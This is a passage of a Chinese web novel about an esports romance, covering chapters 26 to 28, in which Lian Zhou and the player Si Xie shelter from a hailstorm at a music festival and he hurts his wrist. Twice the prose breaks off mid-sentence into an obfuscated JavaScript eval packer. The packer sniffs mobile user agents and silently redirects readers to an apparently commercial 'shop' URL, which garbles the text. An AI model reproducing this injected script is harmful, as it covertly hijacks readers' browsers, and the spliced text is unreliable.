连昼点头,刚抬起步子,还没来得及放下的手腕被一道突如其来的力气死死攥住,接着用力一拉,把她带向了另一个方向。 “我也有外套。” 掠过头顶的声音又冷又沉,“跟我一起。” 漫天雨声被挡在白色外套之外,左半边身体贴上一片触感硬挺的热源。 连昼抬头,看见司偕冰山一样冒着冷气的侧脸,嘴唇紧紧抿着,眼睛直直盯住正前方,不知道在看什么,反正就是不看她。 连昼叹口气,举高自己右手,配合他搭起外套另一边。 对面学弟愣在原地,神情不明地看着他们。 连昼隔着人潮挥挥手:“没事,我就跟他一起好了,小柯你自己先去找地方躲雨。” 才说了这么两句,就听见头顶飘过一声冷哼。 连昼对他的死装视若无睹,面无表情地问:“现在往哪走?” 司偕只哼出一个字:“北。” 连昼:“北是哪边?” 司偕终于垂眼,偏头看着她,没有说话,空着的右手轻轻搭上来,揽着她的腰转了个方向。 连昼跟着转过去,表情跟动作都变得僵硬起来。 其实她是想装作不在意的,但表情管理实在需要专业功底。她做不到。 身上的针织吊带裙单薄贴身,那只手按在腰间近乎于毫无隔阂,肌肤相贴带起一片酥麻,温温热热,存在感格外强烈。 连昼微侧身体,稍微向旁边让了一下。 腰上的手停顿一瞬,默然撤离。 两人若即若离地靠着,一人一边高举外套,在川流人海里颠沛流离很久,久到连昼手臂开始泛酸:“到底去哪里?” 司偕顿了顿:“不知道。” 连昼:? 这次没等她逐字逐句追问,司偕空前慷慨地说了下去。 “只是想和你一起。” 27.“她不加” 连昼的嘴唇分了又合,合了又分,切磋几回合。 最后还是问出跟那天如出一辙的一句话:“什么意思?” 但没想到,司偕的慷慨直言只有一瞬间。 他眼神飘向另一边,话题转换得极其生硬:“他是谁?” 连昼:“……” 真是让人火气噌噌往头顶冒啊。 她明知故问:“你说谁啊。” “刚才那个。” 司偕的声音浸在汹涌雨声里,游移不定,“男朋友?” 刚才又不是没介绍,“学弟”两个字听不懂吗。 连昼怒从心起,故意说:“还不是,不过快了吧。” 司偕动作立即停了下来。 连昼随他一起停步,继续拿话刺探:“怎么了少爷,有反对意见?” 雨滴和冰雹重重落着,砸在头顶簌簌作响,司偕抬起右手,帮她把另外半边的外套搭稳。 语气不温不火,“没关系,走吧。” 又是“没关系”。 一天天的,哪来这么多没关系。 他抬高外套环视周围,大概是看到了能落脚的地方,把连昼往身边紧了紧,转向右边。 “我们去那里。” 连昼脾气刚上来,一大堆不吐不快的话已经到了嘴边,抬眼却瞥见他搭在外面的右手,手腕上缠着的繁复腕带被雨打得湿透,腕带边缘甚至渗出了一颗透明雨滴坠落而下。 她心里暗叹一口气,算了,还是先避雨吧。 两人披外套逆人潮而行,一路挤到广场最边上的围栏下,欧式围栏拐角处搭了一方华丽的灯台,刚刚好能容下两个人紧贴着躲进去。 一直抬着的手臂得到解救,连昼捏了捏肩膀,顺手把半湿长发抓了起来,露出空荡荡的肩颈。 她只穿了吊带裙,肩颈全都淋得彻底,水珠顺着雪白肌理缓缓坠入抹胸领口,本就贴身的针织裙跟身体贴合得更紧密,勾勒出暧昧起伏的曲线。 司偕只垂眸看了她一眼,马上移开视线,手中外套举起来,没头没尾地问:“要不要穿?” 连昼莫名其妙:“……这外套也是湿的啊。” “嗯。”司偕讷讷地收回手,“那我去买雨衣,你等我。” 他眼神一直闪烁不定地往外漂游,始终没有碰到连昼一眼,说完这句话也不等她回应,抬脚就要走。 连昼本来心里就压着火气,看见他这副急着离开的样子,更是气得上头,一怒之下音量也大了起来:“你站住。” 司偕闻声,动作顿了顿,侧回身来,跟连昼保持着半米距离,眼神只是很快从她身上掠过,立即又抬到上方,看起来像在跟她头顶的空气对话。 “怎么了。” 他半边身体已经探了出去,在雨中毫无遮挡,衣服贴在身上,宽阔身形显得有些单薄,浓密的黑发湿漉漉滴着水珠,脸上雨水垂落,配上他茫然无措的表情,好像一只落汤小狗。 很奇怪,明明是顶级bking,可是他有时候看起来又楚楚可怜。 连昼的心不受控制地软下来,像触摸到一片湿湿软软的小狗绒毛,满腔火气一瞬间就偃旗息鼓。 她探手,抓住他的右臂,把人拉回来。 “别去了,刚才路上我听见别人说,雨衣早就被抢完了。” 司偕被拉到遮挡台下,湿热的身躯再次贴到一起,两人都不太自然地僵硬了一瞬。 空气突然寂静下来,按照平时作为主持人的本能,连昼此时应该进入没话找话阶段了。 但偏偏身边的人是司偕,她张了张嘴,又闭上,没能说出一个字。 反倒是司偕轻咳一声,低声问:“冷吗。” 其实还好。虽然浑身湿得彻底,但申城八月连空气都是炽热的,淋雨也不觉得冷,只有一种又黏糊又潮湿的不舒服。 连昼以摇头作答。 但旋即发现,司偕还是别扭地偏着脸,根本不看她,自然也就看不见她摇头。 她脑中荒谬地冒出一句话,这句话甚至还带着BGM。 “又怎么了,我的大少爷”。 要别扭也不该是他别扭吧,那天玩定时炸弹耍酒疯的又不是他。 想到定时炸弹的事,连昼突如其来地把自己想别扭了。 其实那晚的记忆在她脑海里湖成一片,前半段还隐隐约约记得司偕唱了首粤语歌,后半段就只剩一口接一口的喝不出味道的气泡酒,还有自己捧着司偕脸时“必须说清楚”的强烈信念感。 到底想说清楚什么呢…… 可能连昼自己也不太确定。 她小幅度地晃了晃脑袋,试图清空这些纷乱的想不明白的念头。 司偕却秒问:“头疼?” ……原来他用余光也能看得见啊。 连昼:“对,头疼。” 司偕呼吸一下子绷紧,视线终于肯转到她身上,手抬到她额头前却又犹豫不决地停下,隔空搭在她鬓发边。 “是不是感冒了。” 他这顿动作束手束脚,虽然没有真的触碰到连昼,却实打实把两人距离拉得更近,两人间方向调转,形成一个面对面的姿势。 连昼被半拥进他的气息里,眼前刚好是他线条曲折的锁骨,锁骨上躺着那条赫赫有名的有独特寓意的银色蛇骨链,微泛水光坠入宽松的白T领口。 连昼不自在地退了退,但空间实在有限,后撤的那两寸距离于事无补,不属于自己的微热体温还是隔着湿薄衣料漫延而来,溺得她说话都不顺畅:“我,我乱说的,头不疼。” “那也淋雨了。” 司偕的声音浮在头顶,“等雨停就出去买药。” 说到雨停,耳边的雨声似乎是轻了一点。 连昼微微侧目,外面雨点明显变得疏散,冰雹和雷电应该是停了,天色比刚才明亮不少,阳光从满天黑云里渗透出来,又薄弱又刺眼。 司偕很轻地说了一句:“要转晴了。” 这句转晴过后没几分钟,天色果然变得明光透澈,黑云飞速消散,快得像是一阵错觉。 但雨滴还稀稀落落地掉着,一时半会儿没有彻底收兵的意思。 连昼伸手接了一滴雨:“还好,能接受,我们走吧。” 过了好几秒,才听见上方司偕“嗯”了一声。 他把外套重新搭开,挡在连昼头顶。 连昼抬手拦住他:“不用了,你让手腕歇一歇。” 外面的热夏市集还是很拥挤,来往路人摩肩擦踵,个个带着湿气,热腾又狼狈。 连昼打给陈霁他们确认集合位置,挂断电话却陷入沉思:“西南角是哪个角?” 司偕沉默着,帮她挡开一个横冲直撞的小男孩,手臂顺势环过来,虚虚护在她的左肩。 “我送你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13758913|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “不用——”连昼条件反射地摇头,但拒绝的话没有说完,鬼使神差换了一个字,“好。” 两人转了个方向,并肩挤入人潮。 连昼知道自己针织裙单薄贴身,尽量缩着肩臂,避免与人相碰。 司偕则一言不发地把她虚环在身前,一张冰山似的冷脸倒也劝退了不少热烈的视线。 但还是有个别勇士不止步于社会规则。 一个穿着大片涂鸦无袖背心的发带男生拦在前面,扬了扬下巴:“美女,最近有换男朋友的打算吗。” 连昼一愣,抬头仰视司偕,司偕也垂下眼,不动声色地看她。 该怎么回答呢。 这好像就不是换不换的问题吧。 她纠结了几秒,最后以一种幽默的方式给彼此都留出台阶:“暂时没有这个计划,有需要再联系你。” 没想到男生听到这个回复更来了兴趣,退几步再次拦在他们前面:“那先加个联系方式?” 这下没等连昼反应,司偕冰冷的回绝先行一步。 “她不加。” “OKOK。”发带男生挑衅得逞,略显幸灾乐祸地举起双手,“打扰了兄弟。” 背后一股强势的力道贴上来,好像生怕连昼再停留似的,微微用力推着她向前走,很快就把那个发带男生甩在身后。 连昼的唇角有些控制不住,但她还是硬生生压住了,故意小声嘀咕:“我没说我不加啊。” “你不加。” 司偕面无表情地重复了一遍,短短三个字咬得又冷又硬。 温热的气息从侧后拂过来,擦过连昼的耳尖,像被软羽毛点了一下。 她觉得耳尖有点发烫,装作不经意地撩散了鬓发,悄悄盖住耳朵,没再开口。 司偕的方向感精准无比,大概走了七八分钟,他们果然抵达了约定好的西南角。 西南角同样人来人往,陈霁带着两个学弟守在围栏边,见到连昼终于松口气:“我都要担心死了,真怕你找不到方向在广场里走一万年。” 凭她自己的话确实找不到方向。 连昼窘迫:“这不是过来了吗。” 陈霁的眼神飘向她身后:“这是……等等!这是谁,这是Serein?!” “嗯,刚好遇到。” 连昼怕她出口不逊,拼命朝她眨眼,“他们俱乐部今天在这里拍团建Vlog。” 陈霁却没想那么多。 她立马回头:“小柯!快过来,你最喜欢的AD选手!” 柯栩然:“……” 司偕:“……” 连昼:“嗯……他们刚才见过了。” “小柯没跟我们提啊。”陈霁满头问号,转向柯栩然,“那你回来的时候怎么不高兴啊,我还以为唔——” 连昼狠狠拽了她一下:“别说了,你嗓子疼。” 陈霁不明所以,但乖乖闭上了嘴。 连昼轻轻拉司偕的衣袖:“你要不要去跟尼克他们会合?” 司偕的视线在他们几人身上扫视两个来回,唇边碾出令人意外的两个字节。 “不要。” 连昼:…… 什么意思,这是来了就不打算走吗。 好久没有这种熟悉的感觉了。 一种少爷独有的,我行我素、不顾别人目光、不管别人死活的感觉。 28.有点熟悉 暴雨结束了,暴雨乐队的演出也结束了。 一行人里唯一真暴雨粉丝程轶消沉不语,假粉丝陈霁不得不一起装消沉。 另外三人虽然不消沉,但也没话讲,沉默地并肩走着。 连昼被夹在中间,有一种正站在聚光灯下主持大局的错觉。 她试着开□□跃气氛:“小柯昨天还问我Serein手伤严不严重呢,哈哈,现在可以当面关心啦。” 司偕挑眉:“昨天就在一起?” 柯栩然笑了一声:“学姐昨天还说跟IR选手不熟,原来是谦虚了。” “不熟吗。”司偕语气轻飘飘,“她骗你。” 连昼左看看右看看,一个字也挤不进去。 好在手机铃声及时响起,给她送来自由发言的机会。 她接通电话:“苏西姐?” 苏西的沟通方式一如既往直接:“八月二十号到下个月五号,有没有时间?” 连昼休赛期暂时没别的安排,如实回答:“有时间,怎么了?” “琪文有没有跟你说接下来有解说主持的娱乐赛,你在参赛名单上,我跟你确认一下。” 苏西说,“那就这样,具体通知这两天会发布在工作群,挂了。” “等等——” 连昼一声惊呼,但跟以往无数次一样,苏西的电话说断就断,一点都没有拒绝的余地。 她挂断电话在屏幕上点了几下,工作群里暂时还没消息,只好不甘不愿地退出微信界面。 就在这一瞬间,柯栩然眼尖,盯上了她的桌面壁纸:“学姐,这是不是我给你拍的那张照片?” 连昼下意识低头,看了看自己的桌面壁纸。 确实是上次在小云端拍下的那张拍立得。 画面是她站在蝴蝶墙前,只留下一个模糊的侧影,跟满墙的蝴蝶遥遥相望。 没记错的话,好像那天临走时喝得头脑不清,收到柯栩然发来的相片觉得好看,顺手发到朋友圈还设置成了壁纸,后来就一直没换过。 连昼讪讪地按灭手机屏光:“这张拍得很好看,谢谢你。” 出于一种说不清道不明的心虚,她说完还转头看了司偕一眼。 司偕唇角抿下去,并没有对此发表什么重要意见,但眼神低垂,从她已经按灭的屏幕一扫而过,冷冷地收回。 他什么都不说,连昼也不好此地无银多费口舌,浅浅把这一茬带过,回头问陈霁:“接下来有什么安排?” 陈霁看了一眼时间:“五点半有花车巡礼,还会有小游戏,反正现在都快五点了,要不然就等着凑个热闹吧。” 连昼:可真拼命啊。 他们刚刚淋过雨,身上一片凌乱,其实连昼有点想回去休整,但陈霁如此拼命搞得她也不好意思叛逃,只能干巴巴地附和。 “嗯嗯,我也想玩,那就等吧。” 到五点半还有段时间,中心舞台上换过一拨歌手,唱了几首软绵绵的情歌,被暴雨冰雹袭击过的音乐节空余一种日薄西山的萧条,几人也没兴趣再挤,在后排随便找了块空草地休息。 连昼跟司偕并肩坐着,小声问他:“你还是跟尼克哥联系一下吧?” 司偕抬了一下手机:“联系过了。” “他们没叫你回去?” 司偕顿了顿:“叫了。” 叫了,但是不回。 好拽的少爷,不愧是他。 连昼对于他们队内的事不方便置喙,“哦”了一声,不再多问。 半个小时不算难等,舞台上的乐队唱完这首撤了下去,人群骚动起来,有工作人员拿着从扩音器里指挥:“请大家退到花车路线外,有序互动。” 说是可以跟花车交互,其实也就是花车上打扮成小精灵的女孩子向围观人群撒撒花抛抛飞吻,互动形式很单一。 连昼被陈霁拉到前排凑热闹,精灵女孩看见她们,挥手洒出一大片花瓣,纷纷扬扬落在眼前,还真有几分浪漫至上的氛围感。 陈霁很兴奋:“小柯,快给我拍下来,我回去要发Vlog。” 提到Vlog,连昼想起IR这次来也是有任务的,快走几步挤回司偕身边。 “你不回去,团建Vlog怎么办?” 司偕垂眼定定地看着她,没回答,只是极其自然地抬起手,从她肩头轻轻拂过,捎下一小片粉色花瓣。 干燥指尖与光裸的肩膀一触即分,明明没有实质性的接触,连昼却觉得那一小寸皮肤窜过电流似的,带起一阵细细密密的灼热。 她定了定神,提议:“要不然把尼克哥他们也叫过来?” “在过来了。”司偕说,“十分钟。” “那就好。” 连昼点头,听见身后陈霁的呼叫声,问他,“要不要先去那边看看小游戏?” 一般来说,司偕不拒绝就是答应。 他没开口说去不去,但连昼一动,他也就亦步亦趋地跟了上去。 所谓的组队小游戏正在宣读规则,第一个游戏是双人组队接气球。 主持人在中间不断抛高气球,组队两人得面对面抱着,接住气球才能积一分。 好露骨的游戏规则。 陈霁装模做样:“昼昼,我们组队报名吧!” 连昼还能不懂她的意思吗。 “不行,我们两个女生组队体力上很吃亏,你带程轶去吧。” 陈霁侧目瞥程轶,程轶声音低沉:“好。” 看着他们两人入场报名,柯栩然问:“学姐,我们也去玩一下吧?” 随即他立刻否定自己,“还是算了,Serein一个人会无聊的。” 连昼头顶冒出一排省略号。 小学弟心机起来真是六亲不认,连自己最爱的选手也不放过。 按照他这句客套话的生活逻辑,接下来司偕应该要说一句“我没关系你们去”。 但司偕可是少爷,少爷是没有生活逻辑的。 他说:“嗯。” 连昼:“嗯,那我们就看他们玩吧。” 随着主持人倒计时结束,游戏热烈开始。 小游戏简单粗暴,报名的人很多,狭小的场地中挤着七八组双人队伍,争先恐后去接抛到高空的气球。 连昼踮起脚尖寻找陈霁身影,一片混乱中一颗气球飘出场外,恰好飘到这个方向,游戏队伍够不着,反而是几个半大孩子从四面八方冲过来,追着跳着想抓气球。 连昼猝不及防,被撞得狠狠一歪,身边司偕伸手及时托在身后,才堪堪帮她稳住身形。 “没事吧。”司偕的声音顿了顿,眉眼微乎其微地皱了一下,接着缓缓收回手臂。 连昼看出他皱眉,一低头刚好瞥见他后撤的右手,眼尖手快一把抓住。 “撞到了?给我看看。” 司偕手腕上层层叠叠的护具还湿着,护具下的情况看不清楚,但腕带边缘皮肤上明显泛红的痕迹一眼就能发现。 连昼也皱起眉:“这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13777293|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不行,等尼克哥过来就去医院。” “还好。” 司偕不太自然地把手收回去,有意无意掩到身后,“没关系。” 这也能“没关系”。 连昼已经懒得再跟这三个字计较,把他往自己身侧拉紧,“你站过来,别被挤到了。” 但任何可能出问题的事情一定会出问题,墨菲定律向来不会缺席。[注:墨菲定律,一种心理学效应,据传由Edward A. Murphy提出] 他们这短短的对话结束没到半分钟,又一只气球从场地内飘向他们所在的地方,刚才那几个小孩像小狗嗅到骨头一样兴奋大叫,再次横冲直撞地冲过来。 连昼眉头一跳,出声提醒:“小心点,别挤——” 她话音都还没落下,一个十岁左右的男孩已经挤到附近,胖鼓鼓的身体在人群里东磕西碰,越来越近之时,不知道脚下绊倒了什么东西,竟然整个人腾空,猝不及防地扑向前方。 司偕就站在男孩冲撞的那一侧,而且偏偏,就是他右手手腕的位置首当其冲。 连昼心头火起,也不知道哪来的力气和速度,电光火石之间猛地伸手一推,拦在男孩碰到司偕之前,把他狠狠地推向了另一边。 男孩跌跌撞撞退了几步,最后没站稳砸到在草地上,懵懵地呆了一会儿,嘴巴一瘪,一副要放声大哭的样子。 连昼冷冷地盯着他:“你现在应该笑,庆幸你没撞到。” 男孩估计也没见过这么不给面子的大人,又呆了一下,愣是没哭出来。 连昼拉起司偕:“走,这里人太多,挤来挤去不安全。” 司偕这种时候总是特别乖顺,一言不发,任由她牵着向外走。 柯栩然被他们留在身后,张了张嘴,只喊出两个字:“学姐……” 连昼气得发热的头脑这才稍微降温,回头叮嘱:“我带Serein去跟他们战队会合,你在这里等陈霁,告诉她我很快就回来。” 柯栩然没再多说,点头:“去吧,学姐,我等你。” 人群聚集在游戏区域,游戏区外格外空旷。 两人挤出来之后才走了没几步,刚好迎面遇上IR一行人。 尼克问:“你们去哪了,刚才一转眼就不见了。” 连昼没回答,把司偕推到他们队伍中间:“尼克哥,司偕的手需要去一下医院,方便的话现在就去吧。” “怎么了,撞到了?”尼克紧张起来,抓着司偕左看右看,“谢谢昼昼老师照顾,我们现在就走。” 季明礼冷不丁问:“你要不要一起去?” 连昼犹豫一瞬,还是保留了一点分寸:“不了,我朋友在等我。” 尼克像幼稚园老师一样把IR众人组织齐整,挥起星芒队标小旗子:“都跟我走啊,不要走丢了。” 画面看起来有点幽默。 连昼站在原地,目送他们排着队向后转,迈着不太整齐的步子无序离场。 申城的夏天昼长夜短,傍晚阳光还像正午一样晴亮,雨落得时有时无,偶尔有几个雨点掠过眼前。 连昼擦去睫毛上的一点湿意,抬眼正好望见司偕在远行的队伍里回头。 两人隔着不近不远的距离,无声无息对望了一眼。 与此同时,一滴钻石似的雨点划过她的视野。 她不由得眨了眨眼。 晴空,阵雨,远处回望的司偕。 忽然有一种不知从何而来的似曾相识的感觉。